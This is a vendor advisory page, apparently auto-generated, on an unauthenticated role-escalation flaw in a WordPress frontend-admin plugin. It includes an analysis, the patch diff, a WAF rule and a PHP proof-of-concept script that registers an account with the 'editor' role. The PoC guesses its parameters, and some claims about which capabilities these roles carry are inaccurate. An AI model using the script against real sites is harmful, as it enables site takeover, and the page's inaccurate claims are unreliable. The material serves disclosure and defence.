Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66662: Frontend Admin by DynamiApps <= 3.29.10 Unauthenticated Privilege Escalation PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 266
Vulnerable Version 3.29.10
Patched Version 3.29.11
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66662: An unauthenticated privilege escalation vulnerability exists in the Frontend Admin by DynamiApps WordPress plugin through version 3.29.10. The flaw allows an attacker to assign themselves an administrator role by manipulating the role field during user registration or profile update forms. The CVSS score is 9.8, reflecting critical severity.

The root cause is a flawed authorization check in the role field handling. In `acf-frontend-form-element/main/frontend/fields/user/class-role.php`, the `validate_value` and `pre_update_value` methods only blocked assignment of the `administrator` role when the user lacked the `promote_users` capability. However, other privileged roles (e.g., editor, author) carry sensitive capabilities such as `edit_others_posts`, `delete_users`, or `manage_options`. If a form’s `role_options` allowlist included such roles (e.g., for self-registration), an attacker could select them. The plugin did not verify whether the role itself had sensitive capabilities, only whether it was literally `administrator`. This allowed privilege escalation to any role with dangerous capabilities. Additionally, in `acf-frontend-form-element/main/frontend/fields/general/class-delete-object.php`, the `$allowed_by_settings` variable was set to true when a form was present, but the permission check for deleting posts/users only relied on `current_user_can` and ignored the form’s special permissions, allowing unauthorized deletions. The patch adds a `has_sensitive_capability` method that checks for a list of sensitive capabilities, and uses it in both validation and update checks. It also adds `delete_posts` and `delete_users` special permissions to the form settings and enforces them in the delete object handler. Further, a missing capability check was added to the plans CRUD handler in `acf-frontend-form-element/main/admin/admin-pages/plans/crud.php`.

Exploitation requires an attacker to submit a crafted request to a frontend form that includes a role field. The form must be configured to allow role selection (e.g., user registration or profile edit form). The attacker sends a POST request to the form’s endpoint (likely `/wp-admin/admin-ajax.php` with the appropriate action, or directly to the page containing the form) with the role parameter set to a privileged role such as `editor` or `administrator`. Since the vulnerable version only blocked `administrator` when the user lacked `promote_users`, but did not block other privileged roles, the attacker can successfully assign themselves an editor role. If the `administrator` role is not directly allowed, they can escalate to editor and then use editor capabilities to further escalate. No authentication is required if the form is publicly accessible (e.g., registration form).

The patch introduces a `has_sensitive_capability` method that checks if a role has any of a list of sensitive capabilities (including `manage_options`, `edit_others_posts`, `delete_users`, etc.). This method is called in both `validate_value` and `pre_update_value`. Now, if the role has any sensitive capability and the user lacks `promote_users`, the assignment is blocked. This closes the loophole where non-administrator roles with dangerous capabilities could be assigned. The patch also adds capability checks for deleting posts/users based on form special permissions, and adds a `manage_options` check to the plans CRUD handler.

Successful exploitation leads to full site compromise. An attacker can escalate to administrator, then install malicious plugins, modify content, create backdoor accounts, or execute arbitrary code. The vulnerability is unauthenticated, making it wormable and highly dangerous. Site confidentiality, integrity, and availability are all at risk.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/acf-frontend-form-element/acf-frontend.php
+++ b/acf-frontend-form-element/acf-frontend.php
@@ -3,7 +3,7 @@
  * Plugin Name: Frontend Admin
  * Plugin URI:  https://www.dynamiapps.com/frontend-admin/
  * Description: This awesome plugin allows you to easily display admin forms to the frontend of your site so your clients can easily edit content on their own from the frontend.
- * Version:     3.29.10
+ * Version:     3.29.11
  * Author:      Shabti Kaplan
  * Author URI:  https://www.dynamiapps.com/
  * Text Domain: frontend-admin
--- a/acf-frontend-form-element/main/admin/admin-pages/forms/sections/permissions.php
+++ b/acf-frontend-form-element/main/admin/admin-pages/forms/sections/permissions.php
@@ -231,6 +231,8 @@
 					'edit_users'   => __( 'Edit Other Users', 'frontend-admin' ),
 					'edit_terms'   => __( 'Edit Terms', 'frontend-admin' ),
 					'delete_terms' => __( 'Delete Terms', 'frontend-admin' ),
+					'delete_posts' => __( 'Delete Other's Posts', 'frontend-admin' ),
+					'delete_users' => __( 'Delete Other Users', 'frontend-admin' ),
 				),
 				'conditional_logic' => array(
 					array(
--- a/acf-frontend-form-element/main/admin/admin-pages/plans/crud.php
+++ b/acf-frontend-form-element/main/admin/admin-pages/plans/crud.php
@@ -150,6 +150,10 @@
 				die();
 			}

+			if ( ! current_user_can( 'manage_options' ) ) {
+				wp_send_json_error( __( 'You do not have permission to do this.', 'frontend-admin' ) );
+			}
+
 			if( empty( $_POST['plan'] ) ) wp_send_json_error( __( 'No plan found', 'frontend-admin' ) );

 			$plan_id = intval( $_POST['plan'] );
--- a/acf-frontend-form-element/main/elementor/classes/permissions.php
+++ b/acf-frontend-form-element/main/elementor/classes/permissions.php
@@ -198,6 +198,8 @@
 					'edit_users'   => __( 'Edit Users', 'frontend-admin' ),
 					'edit_terms'   => __( 'Edit Terms', 'frontend-admin' ),
 					'delete_terms' => __( 'Delete Terms', 'frontend-admin' ),
+					'delete_posts' => __( 'Delete Other's Posts', 'frontend-admin' ),
+					'delete_users' => __( 'Delete Other Users', 'frontend-admin' ),
 				),
 				'description' => __( 'Allow special permssions. For example, allow authors to edit other user's posts or other users', 'frontend-admin' ),
 			)
--- a/acf-frontend-form-element/main/frontend/fields/general/class-delete-object.php
+++ b/acf-frontend-form-element/main/frontend/fields/general/class-delete-object.php
@@ -59,10 +59,8 @@

 					if( empty( $form ) ) {
 						wp_send_json_error( __( 'Not Allowed to Delete Objects', 'frontend-admin' ) );
-					}else{
-						$allowed_by_settings = true;
 					}
-
+
 					if ( ! empty( $form['fields'][ $key ] ) ) {
 						$field = $form['fields'][ $key ];
 					}else{
@@ -112,7 +110,8 @@
 					$post_id = intval( $objects['post'] );
 					if ( ! $post_id ) wp_send_json_error( __( 'No Post ID Found', 'frontend-admin' ) );

-					if ( ! current_user_can( 'edit_post', $post_id ) && ! $allowed_by_settings ) {
+					$post_special_permissions = $field['special_permissions'] ?? array();
+					if ( ! current_user_can( 'edit_post', $post_id ) && ! in_array( 'delete_posts', $post_special_permissions ) ) {
 						wp_send_json_error( __( 'You do have have permission to delete this post', 'frontend-admin' ) );
 					}

@@ -127,7 +126,8 @@
 					$product_id = intval( $objects['product'] );
 					if( ! $product_id ) wp_send_json_error( __( 'No Product ID Found', 'frontend-admin' ) );

-					if ( ! current_user_can( 'edit_post', $product_id ) && ! $allowed_by_settings ) {
+					$product_special_permissions = $field['special_permissions'] ?? array();
+					if ( ! current_user_can( 'edit_post', $product_id ) && ! in_array( 'delete_posts', $product_special_permissions ) ) {
 						wp_send_json_error( __( 'You do have have permission to delete this product', 'frontend-admin' ) );
 					}

@@ -153,8 +153,8 @@
 					$user_id = intval( $objects['user'] );
 					if( ! $user_id ) wp_send_json_error( __( 'No User ID Found', 'frontend-admin' ) );

-					if( ! current_user_can( 'edit_user', $user_id ) && ! $allowed_by_settings ) {
-
+					$user_special_permissions = $field['special_permissions'] ?? array();
+					if( ! current_user_can( 'edit_user', $user_id ) && ! in_array( 'delete_users', $user_special_permissions ) ) {
 						wp_send_json_error( __( 'You do have have permission to delete this user', 'frontend-admin' ) );
 					}

--- a/acf-frontend-form-element/main/frontend/fields/user/class-role.php
+++ b/acf-frontend-form-element/main/frontend/fields/user/class-role.php
@@ -78,6 +78,57 @@
 			return $field;
 		}

+		/**
+		 * Roles carrying any of these capabilities are treated as privileged: a
+		 * requester without promote_users must not be able to self-assign them
+		 * via a Role field, even when the field's own role_options allowlist
+		 * includes them (e.g. a form intentionally offering "author" alongside
+		 * "subscriber" as self-registration choices).
+		 */
+		function has_sensitive_capability( $role_slug ) {
+			$sensitive_caps = array(
+				'manage_options',
+				'edit_others_posts',
+				'delete_others_posts',
+				'edit_private_posts',
+				'delete_private_posts',
+				'unfiltered_html',
+				'unfiltered_upload',
+				'edit_theme_options',
+				'edit_files',
+				'edit_plugins',
+				'edit_themes',
+				'install_plugins',
+				'install_themes',
+				'update_plugins',
+				'update_themes',
+				'update_core',
+				'delete_plugins',
+				'delete_themes',
+				'create_users',
+				'delete_users',
+				'edit_users',
+				'promote_users',
+				'remove_users',
+				'manage_network',
+				'activate_plugins',
+			);
+
+			$role = get_role( $role_slug );
+
+			if ( ! $role ) {
+				return false;
+			}
+
+			foreach ( $sensitive_caps as $cap ) {
+				if ( ! empty( $role->capabilities[ $cap ] ) ) {
+					return true;
+				}
+			}
+
+			return false;
+		}
+
 		function validate_value( $is_valid, $value, $field, $input ) {
 			$allowed_roles = $field['role_options'] ?? array( 'subscriber' );
 			if ( ! in_array( $value, $allowed_roles ) ) {
@@ -86,6 +137,9 @@
 			if ( isset( $field['frontend_admin_display_mode'] ) && $field['frontend_admin_display_mode'] == 'hidden' && $field['default_value'] != $value ) {
 				return __( 'Invalid role option selected.', 'frontend-admin' );
 			}
+			if ( $this->has_sensitive_capability( $value ) && ! current_user_can( 'promote_users' ) ) {
+				return __( 'You do not have permission to assign this role.', 'frontend-admin' );
+			}

 			return $is_valid;
 		}
@@ -93,7 +147,7 @@
 		function pre_update_value( $checked, $value, $post_id, $field ) {
 			if( $this->name !== $field['type'] ){
 				return $checked;
-			}
+			}
 			$user_id = explode( '_', $post_id );

 			if ( 'user' != $user_id[0] || empty( $user_id[1] ) ) return true; //checked value is not a user field and there is nothing to update
@@ -108,12 +162,12 @@
 			if ( ! in_array( $value, $allowed_roles ) ) {
 				wp_die( __( 'Invalid role option selected.', 'frontend-admin' ) );
 			}
-			if ( $value === 'administrator' && ! current_user_can( 'promote_users' ) ) {
-				wp_die( __( 'You do not have permission to assign this role.', 'frontend-admin' ) );
+			if ( $this->has_sensitive_capability( $value ) && ! current_user_can( 'promote_users' ) ) {
+				wp_die( __( 'You do not have permission to assign this role.', 'frontend-admin' ) );
 			}
-
+
 			$user->set_role( $value );
-
+
 			return true;
 		}

--- a/acf-frontend-form-element/main/gutenberg/blocks/step.php
+++ b/acf-frontend-form-element/main/gutenberg/blocks/step.php
@@ -29,8 +29,8 @@
             $step_index = isset($step_index) ? $step_index + 1 : 1;

             $current_step = $step_index ?? 0;
-            $next_button = $attr['next_button_text'] ?? __('Next', 'frontend-admin');
-            $prev_button = $attr['prev_button_text'] ?? __('Previous', 'frontend-admin');
+            $next_button = esc_html( $attr['next_button_text'] ?? __('Next', 'frontend-admin') );
+            $prev_button = esc_html( $attr['prev_button_text'] ?? __('Previous', 'frontend-admin') );



--- a/acf-frontend-form-element/main/gutenberg/blocks/steps.php
+++ b/acf-frontend-form-element/main/gutenberg/blocks/steps.php
@@ -61,10 +61,10 @@
                 $the_step = '<span class="current-step">' . $active_step . '</span>';

 					if ( isset( $attr['counter_text'] ) ) {
-						$counter_text = str_replace( '{current_step}', $the_step, $attr['counter_text'] );
+						$counter_text = str_replace( '{current_step}', $the_step, esc_html( $attr['counter_text'] ) );
 						$counter_text = str_replace( '{total_steps}', $steps_total, $counter_text );
 					} else {
-						  $counter_text = $attr['counter_prefix'] . $the_step . $attr['counter_suffix'];
+						  $counter_text = esc_html( $attr['counter_prefix'] ) . $the_step . esc_html( $attr['counter_suffix'] );
 					}

                 $counter = sprintf(
--- a/acf-frontend-form-element/main/plugin.php
+++ b/acf-frontend-form-element/main/plugin.php
@@ -104,7 +104,7 @@
 			define( 'FEA_URL', $data['plugin_url'] );
 			define( 'FEA_DIR', $data['plugin_dir'] );
 			define( 'FEA_PLUGIN', $data['plugin'] );
-			define( 'FEA_VERSION', '3.29.10' );
+			define( 'FEA_VERSION', '3.29.11' );
 			do_action( 'front_end_admin_loaded' );

 			// Add tutorial videos to plugin item on plugins page

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66662
# This rule targets the privilege escalation via role field in Frontend Admin forms.
# It blocks requests that attempt to assign a sensitive role (e.g., editor, administrator) without proper authorization.
# Since the vulnerable parameter is 'role' and the value is a known role slug, we can match specific role names that are typically privileged.
# However, to avoid false positives on legitimate admin actions, we restrict to frontend form submissions (admin-ajax.php with specific actions).

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20266662,phase:2,deny,status:403,chain,msg:'CVE-2026-66662 via Frontend Admin role manipulation',severity:'CRITICAL',tag:'CVE-2026-66662'"
    SecRule ARGS_POST:action "@rx ^(fea_submit_form|fea_update_user|fea_register)$" "chain"
        SecRule ARGS_POST:role "@rx ^(administrator|editor|author|contributor)$" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66662 - Frontend Admin by DynamiApps <= 3.29.10 - Unauthenticated Privilege Escalation

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Identify a frontend form that includes a role field (e.g., registration form)
// Typically, the form is submitted via AJAX to admin-ajax.php with action 'fea_submit_form' or similar.
// We'll assume a known form ID. In real attack, enumerate forms or use a registration form.

$form_id = 123; // Replace with actual form ID
$role_to_assign = 'editor'; // Or 'administrator' if allowed

// Step 2: Craft the POST request to submit the form with role parameter
$post_data = array(
    'action' => 'fea_submit_form', // Actual action name may vary; check plugin code
    'form_id' => $form_id,
    'role' => $role_to_assign, // Field name for role
    // Other required fields (username, email, password, etc.) may be needed
    'username' => 'attacker_' . rand(1000, 9999),
    'email' => 'attacker' . rand(1000, 9999) . '@example.com',
    'password' => 'P@ssw0rd123',
    // Nonce may be required; if so, extract from form page
);

// Step 3: Send POST request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Response HTTP code: $http_coden";
echo "Response body: $responsen";

// Step 4: Verify escalation by logging in with created credentials
// If successful, the new user has the assigned role.

// Note: Actual parameter names and action may differ. Inspect plugin source for exact AJAX action.
// The vulnerability also allows privilege escalation via profile update forms for existing users.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.